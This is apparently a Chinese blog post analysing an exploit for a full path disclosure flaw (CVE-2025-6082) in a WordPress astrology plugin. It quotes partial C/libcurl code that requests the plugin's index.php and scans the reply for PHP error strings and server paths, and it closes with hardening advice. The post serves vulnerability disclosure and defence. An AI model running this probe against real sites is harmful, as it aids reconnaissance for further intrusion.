WordPress出生图表兼容性插件2.0全路径泄露漏洞利用分析

本文详细分析了Birth Chart Compatibility WordPress插件2.0版本存在的全路径泄露漏洞(CVE-2025-6082)。通过发送特定HTTP请求到插件端点,攻击者可获取服务器文件系统路径信息,为后续LFI/RCE攻击提供关键信息。文章包含完整的PoC代码实现和技术细节。

Birth Chart Compatibility WordPress Plugin 2.0 - 全路径泄露漏洞利用

漏洞概述

CVE编号: CVE-2025-6082
软件链接: https://frp.wordpress.org/plugins/birth-chart-compatibility/
漏洞类型: 全路径泄露(Full Path Disclosure)
影响版本: Birth Chart Compatibility插件 <= v2.0

技术细节

该漏洞存在于WordPress的"Birth Chart Compatibility"插件中,攻击者可以通过向插件的index.php端点发送HTTP GET请求,利用PHP警告或致命错误来泄露服务器的完整文件系统路径。

漏洞原理

1
2
3
4
5
6
7
const char *keyFound[] = 
{
    "Warning:",
    "Fatal error:",
    "/var/www/",
    "C:\\xampp\\"
};

程序通过检测响应中包含的特定关键词来识别路径信息,这些路径格式包括Linux系统的/var/www/html/wp-content/plugins/...和Windows系统的C:\\xampp\\htdocs\\...

漏洞利用代码分析

主要功能函数

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
void showPath(const char *targetUrl)
{
    char full[FULL];
    CURLcode curlCode;
    struct Mem response = {NULL, 0};
    CURL *curl = curl_easy_init();
    
    // 构建目标URL
    snprintf(full, sizeof(full), "%s/wp-content/plugins/birth-chart-compatibility/index.php", targetUrl);
    
    // 设置CURL选项
    curl_easy_setopt(curl, CURLOPT_URL, full);
    curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L);
    curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb);
    curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response);
}

关键技术特征

  1. HTTP请求构造: 使用libcurl库发送GET请求到目标插件的index.php文件
  2. 响应处理: 通过回调函数write_cb收集服务器响应数据
  3. 路径识别: 在响应内容中搜索预定义的关键词模式
  4. 错误处理: 包含完整的错误检测和退出机制

安全影响

泄露服务器文件系统路径可能被攻击者用于:

  • 本地文件包含(LFI)攻击
  • 远程代码执行(RCE)攻击
  • 系统侦察和信息收集
  • 其他攻击链的初始阶段

防护建议

  1. 及时更新插件到最新版本
  2. 在生产环境中关闭错误显示
  3. 实施严格的文件权限控制
  4. 使用Web应用防火墙(WAF)进行防护

该漏洞利用代码展示了如何通过简单的HTTP请求获取敏感的系统路径信息,强调了Web应用程序安全配置的重要性。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计